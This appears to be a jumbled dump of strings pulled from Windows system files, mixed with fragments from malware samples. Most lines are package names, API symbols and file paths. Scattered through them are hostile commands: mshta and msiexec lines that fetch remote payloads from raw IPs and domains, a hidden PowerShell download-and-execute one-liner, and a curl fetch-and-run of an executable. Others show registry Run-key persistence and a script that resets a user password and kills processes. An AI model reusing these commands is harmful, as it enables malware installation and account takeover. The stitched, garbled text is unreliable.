windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.deploymentExtensionHandler
windows.sharedFonts
windows.publisherCacheFolders
#windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.publisherCacheFolders
windows.packageExtension
windows.packageExtension
windows.packageExtension
Zwindows.packageExtension
<windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
windows.packageExtension
WindowsLive:name=*software\micro
=91.217.153.19attrib -h -r=\system32\drivers\etc\
Microsoft-Windows-Cloud-Networking-Triage
Microsoft.Windows.NDIS
Microsoft.Windows.TlgAggregateInternal
\systemroot\system32\drivers\afd.sys
EventRegisterMicrosoft_Windows_WFP
Microsoft-Windows-Netio
Microsoft.Windows.Networking.WFP.Callout
Microsoft.Windows.Networking.WFP.FilterEngineTelemetry
Microsoft.Windows.Networking.WFP.Kfd
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Security.Kerb3961
_?topLevelWindows@QGuiApplication@@SA?AV?$QList@PEAVQWindow@@@@XZ
Microsoft.Windows.Audio.HdAudBus
Message number reserved for software offload mode is visible to Windows
Microsoft.Windows.USB.XHCI
Windows.Storage
Windows.Storage.Streams
Windows.Security.Cryptography
Windows.Management.Policies
Windows.Networking.Connectivity
Windows.Security.Authentication.Web.Core
Windows.Security.Credentials
Microsoft.Windows.Battery
Microsoft.Windows.CmBatt
rundll32.exec:\windows\debug\item.dat,servicemainaaa
start/minpowershell.exe-windowstylehidden"get-service
G$run='hkcu:software\microsoft\windows\currentversion\run'
c:\windows\svchost|
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy;
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ShellExperienceHost_10.0.26100.7462_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
windows.protocol
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial
windows.protocol
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Core_1000.26100.82.0_x64__cw5n1h2txyewyu
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DiscoveryHubWidgetHost
windows.protocol
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
WindowsBackup.AppXwy5feqgsrmkqny70rh46z20rzxz2n5t5.mca
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
windows.protocol
ms-windowsbackup
ms-windowsbackup
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
Software\Microsoft\Windows\CurrentVersionS
Microsoft.Windows.Health.TestInProduction
windows.fileTypeAssociation
windows.fileTypeAssociation
diskVolume3\Windows\System32\en-US
7diskVolume3\Windows\System32
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Core_cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_cw5n1h2txyewyk
Microsoft.Windows.FilePicker.AppXgjtm720dsgjynxxnpt2sapy700ec5y9t.mca
Microsoft.Windows.FilePicker.AppXpxjkswhvgr4kesbr9ja5cwvq9p7snv17.mca
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker
Windows.BackgroundTasks
Windows.Internal.FilePickerExperience
Windows.Networking.BackgroundTransfer.Internal'
Windows.WebAccountProvider
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Security.Authentication.Web.Core.BackgroundGetTokenTask.ClassId.WebAccountProvider
default$windows.data.apps.packagedproducts
windows.data.apps.packagedproducts
IMicrosoft.Windows.Explorer_MSGraph_RecentFiles
Microsoft.Windows.Explorer_RecommendationsFiles
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel
Microsoft Windows
Microsoft Windows
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy
uap\windows\frameworkudk\warppal.cppA
Wp2hklm\software\microsoft\windows\currentversion\run
'c:\windows\system32"/m"notepad.exe"/c"cmd.exe/d/s/
<software\microsoft\windows\currentversion
shell^-windowstylehidden
shell^-windowstylehidden
shell^-windowstylehidden
c:\windows\system32\mshta.exe"http
c:\windows\system32\mshta.exehttp://212.227.245.12/launcher.hta
c:\windows\system32\cmd.exe/cmshtahttps://enjoy0value.com/g.hta
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.3
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.1
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.2
Windows.Networking.ContentPrefetcher.Internal.ContentPrefetcherTask.ClassId.3
microsoft.windows.immersivecontrolpanel.AppX21vkvh811r5jcd4wena93d7ssr5fh769.mca
C:\Windows\Microsoft.NET\Framework\v4.0.30319\
Global.WindowsMigration.AppXs0pwbp6kdsdsmsjw7q8tec8r7jkwndvs.mca
Global.WindowsMigration.AppXw42whz6tg0yc2q1d3zb1embv2vsdseb6.mca
Global.WindowsPeopleExperience.AppXec6z3g013veg1fvp1bev5be57rj1tr59.mca
Global.WindowsPeopleExperience.wwa
hkcu\software\microsoft\windows\currentversion\run
name="com.microsoft.windows.ai.mcpserver"
WindowsBackup.AppXwkwys2tnb5skgfnmha1a46rd50fyrdp8.mca
WindowsBackup.AppX5p0dt3fn160mgq761y9tk0cxrfc7dnd6.mca
Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca
Global.WindowsMigration.AppXrateh92vwht1avvyymscdv5tx6mpjxzz.mca
Global.WindowsPeopleExperience.AppXr294thyq69q9stfx19eg6rwxw938b35a.wwa
Global.WindowsPeopleExperience.AppXpkzme2jr11ysrte06wck8kyezwk1pbfx.mca
MicrosoftWindows.Client.CBS_cw5n1h2txyewy
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!VisualAssist
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WebExperienceHost
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetDataModelp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewWinUI3
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.LockCanvas
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WidgetViewUWP
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!WindowsBackup
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsMigration
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.WindowsPeopleExperiencex
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
Mozilla/5.0 (Windows NT 10.0; Win64; x
c:\windows \system32\taskmgr.exec
c:\windows \system32\umpdc.dllc
ms-windowsbackup
ms-windowsbackup
Windows.UpdateTask
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy
Windows.Data.
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
System.Windows.Forms.Layout
ir%\system32\contro[
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
get_ToolWindowSeparator
set_ToolWindowS
Global.WindowsMigration
Global.WindowsPeopleExperience.wwa
Global.WindowsPersonaCard.wwa
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
-windowstylehidden-command
.exe'-argumentlist'run'-windowstylehidden}
*micros~1\appdata\local\temp\{f1e4ad34-fdf5-4dc3-b8ba-fcab44ea73ca}\l4a6h7.jarl4a6h7.jartc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\l4a6h7.jar
A=micros~1\appdata\local\temp\{78d75c79-3e55-4a65-9df9-331704653283}\l5o0p0.jarl5o0p0.jartc:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\l5o0p0.jar
.jsc:\windows\system32\shell32.dll%systemroot%\system32\shell32.dll%systemroot%\system32\shell32.dll
jdlJdefvicek_ser():os.system('netuser'+getuser()+'1qaz!qaz1qaz')plt=os_det()forpinpro_cess:ifplt=='linux'orplt=='darwin':os.system('pkill-f'+p+'*')else:ifplt=='windows':os.system('taskkill/f/im'+p+'*')
os.startswith("windows"))
programfiles\windowsdefender
$url="https://login.windows.net/common/oauth2/token"
==="windows")
MicrosoftWindows.Client.Photon_cw5n1h2txyewy
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensionsh
MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
Microsoft.Windows.CBSPreview.AppXbq80vzgtr5c1ddwp291c5rsknm84aqwb.mca
Microsoft.Windows.CBSPreview
microsoft.windows.immersivecontrolpanel.AppXkvcc5604paztw62ak4eesbbqcbsh1c4v.mcaP
windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy
Windows.PrintDialog_6.2.3.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.PrintDialog.AppXskcrzs22qh136w607wsfv5z9v35zx4r5.mca
Microsoft.Windows.PrintDialog.AppXv42rtrb1mc702dzsntwk7td5q0r8d235.mca
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Microsoft-Windows-WMIC-FoD-Package-Wrapper~31bf3856ad364e35~wow64~~10.0.26100.7824.cat
Microsoft-Windows-WMIC-FoD-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.catX
c:\windows\system32\config\
\system32\config\cache\
\system32\config\journal
\system32\config\regback
\system32\config\txr
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
-noprofile-windowstylehidden"iwr'http
DriverData=C:\Windows\System32\Drivers\DriverData
GetWindowsDirectoryA
GetWindowsDirectoryW
GetLargestConsoleWindowSize
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 kupuhipa Windows ki te whakaae kia p
 a Microsoft Copilot.Me Windows 10, me hou ake m
\windowsdefender\cloud
.exec "c:\windows\explorer " & 
	\windows\currentversion\
minimized=1&&start""/min"%~dpnx0"%*&&exitpowershell-windowstylehidden-ec
	\system32\rundll32.exe\'"
//httpswindowsupdates.com/apkssl230459.exe
Windows mixed realitN
Qcns:uap11="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"
           xmlns:cloudfiles2="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/10"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/11"/>
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/cloudfiles/windows10/2"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/12"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/12"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
Minimise all windows
Minimize all windows
Search windows for <Application.Any>
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
xyz/)'-verbrunas-windowstyleg
Microsoft-Windows-CoreSystem-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
CloudData.WindowsClient.DisableSyncOnActivityFeed
s\system32\)	`32.dll
>aAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClassImpl@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$00$0A@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AV?$RuntimeClass@U?$RuntimeClassFlags@$01@WRL@Microsoft@@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@WRL@Microsoft@@
.?AVFTMEventDelegate@?1???$WaitForCompletion@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U?$IAsyncOperation@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@23@@@YAJPEAU?$IAsyncOperation@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4tagCOWAIT_FLAGS@@PEAX@Z@
.?AU?$ImplementsHelper@U?$RuntimeClassFlags@$01@WRL@Microsoft@@$0A@U?$IAsyncOperationCompletedHandler@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@VFtmBase@23@@Details@WRL@Microsoft@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@PEAUIGetDefaultSignInAccountResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@U?$AggregateType@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@PEAUIWebTokenRequestResult@23456@@Internal@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVGetDefaultSignInAccountResult@Web@Authentication@Security@Internal@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler_impl@PEAU?$IVectorView@PEAVWebAccount@Credentials@Security@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IAsyncOperationCompletedHandler@PEAVWebTokenRequestResult@Core@Web@Authentication@Security@Windows@@@Foundation@Windows@@
@Devices@Windows
Microsoft.MicrosoftPowerBIForWindows_8wekyb3d8bbwe!Microsoft.MicrosoftPowerBIForWindows-
aforeground-boost-opt-in --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.2
.?AUICbpBrokerCallback@SecurityCenter@Windows@@
s /delete /tn "update service for windows
\system32\cmd
Windows
Text & ThisWorkbook.Name= Asc(Mid(q, (o Mod Len("The version of Excel for Windows you are using is not compatibl6
IPSecCheckReplayWindowSa
IPSecSetReplayWindowSa
IPSecCheckAndSetReplayWindowSa
\SystemRoot\system32\DRIVERS\NETIO.SYS
wasWindowsScalingUsed
Microsoft-Windows-TCPIP
Microsoft-Windows-TCPIPUsage
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.Callout
Microsoft.Windows.Networking.WFP.Ale
Microsoft.Windows.Networking.WFP.IPsec
Microsoft.Windows.EFS.EFSRPC
Microsoft.Windows.TlgAggregateInternal
USERDOMAIN_ROAMINGPROFILE=Windows11
ComSpec=C:\WINDOWS\system32\cmd.exe
|fix issues using windows 
update|troubleshoot windows 
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applica#
cmd.exe10-defectslogr/q/v/cs^tartm^sie^xe^c/q^n^i^e=p^n-f^v"http://0p.rs:8080/a8bgdtzfdobfqzd1lfmn/0b/c3i0/ovwf/w/!computername!"%windir%\system32\shell32.dll%
<Kcmd.exey/v/c^s^t^ar^tm^siexecb^f^dr^l=^p^djp^u^ozyw/^f^v"http://m0.nu:8080/y3uuvoycmzlu2p3htrx4i2ec67pz/ee/!computername!"-q!%systemroot%\system32\shell32.dll%
c:\windows\system32\cmd.exee/d/v/r^st^artms^i^execw^bf=^i^qytn^u^ko^i/^f^v"http://gz.qa:8080/aiy2/fm33gzan3yzfgd8aw8jif7id40mb/!computername!"^cniz^yq=^cn^ahn/
L`c:\windows\system32\cmd.exefh/c^st^a^r^tm^s^i^e^x^ec/qn/fv"http://7d.wf:8080/bhybyi/jkfmzxcxlgbjr89nu76i4zcm21wjj/%computername%"%windir%\system32\shell32.dll%
c:\windows\system32\cmd.exe--!*7`/d/v/rsta^rt^ms^i^exe^c/^q^u^iet-^f^v"http://3z.nu:8080/bzy/xiz3swod2/iwiigj/!computername!"!%systemroot%\system32\shell32.dll
 checkbook\wanderberyllium.jsc:\windows\explorer.exe%systemroot%\explorer.exe%systemroot%
Y\..\..\windows\system32\conhost.exe--headlesspowershell$de=$([char](227-122));set-aliasgaset-alias;gaf$de'wr';garec$de'ex';;rec(f-usebasicparsing'dfuy.fun/f')
system32\curl.exec:\users\public\91\url.exe&c:\users\public\91\url.exe-oc:\users\public\91\get.exeh^t^t^p://14^3.9^2.53.208/get.exe&c:\users\public\91\get.exe
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
Microsoft.Windows.ParentalControls_1000.25128.1000.0_neutral_neutral_cw5n1h2txyewy
.?AU?$default_delete@VVerifyFeatureVelocity@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCoreBackupStatus@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$default_delete@VCloudStoreCore@Core@Cloud@Storage@Internal@Windows@@@std@@
.?AU?$iunknown_deleter@VActivityPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityAssetPublishCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivityAssetCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VActivityDismissCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAndDeviceIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
.?AU?$iunknown_deleter@VGetActivitiesByAppActivityIdAsyncCallback@Core@Cloud@Storage@Internal@Windows@@@detail@cdp@@
GetWindowsDirectoryW
    name="Microsoft.Windows.Shell.shell32"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringLen
ItemReference<Windows.Data.PlaceholderTileLogo>
Windows.Data.PlaceholderTileCollection
Windows.Data.NetworkUX.VPN.VPNSharingSettings
Windows.Data.PlaceholderTileCollectionLocal
Windows.Data.PlaceholderTileLogo
Windows.Data.PlaceholderTileLocal
Microsoft.Windows.BrokerInfrastructure
Microsoft.Windows.TlgAggregateInternal
c:\windows\system32\
windowsformsapplicationbase!#ALF:Trojan:MSIL/Growtopia.RK!MTB
%%WINDOWS\%sext.cot.php?client=%%CLIENTIDclover_u
(101)&"-windowstyl"&
Windows.Data.Messaging.Settings
reg add "hkcu\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v "load" /t reg_sz /d "C:\Windows\web\
VersaoWindows
C:\WINDOWS\
C:\WINDOWS\
copy%systemroot%\system32\txp%systemroot%\system32\spool\printerscd%systemroot%\system32\spool\printers
echouploaddir%systemroot%\system32\
	echofiledir%systemroot%\system32\
Vcd%systemroot%\system32\spool\printersregedit/s
C:\Windows\System32\RuntimeBroker.exe -Embedding
WINDOWS11
windows.g
winlogon
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
Windows.Data.Common.Size
Windows.Data.Common.Rect
Windows.Data.Common.Color
Windows.Data.Common.Point
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
explorer.exe http://uninstall.mysafesavings.com\WindowsAccManager\smass.exe
onecoreuap\windows\dwm\dwmcore\resources\animationcontroller.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\channel.cpp
onecoreuap\windows\dwm\dwmcore\rendering\shaderlinking.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\rim\lib\spatialrimdevicecollection.cpp
onecoreuap\windows\moderncore\inputv2\systeminputrouters\dwm\components\cursor\lib\dwmcursor.cpp
onecoreuap\windows\moderncore\inputv2\rawinputproviders\mpc\lib\mpcheadupdatelistener.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\stylus\events\server\peneventsdispatcherprincipal.cpp
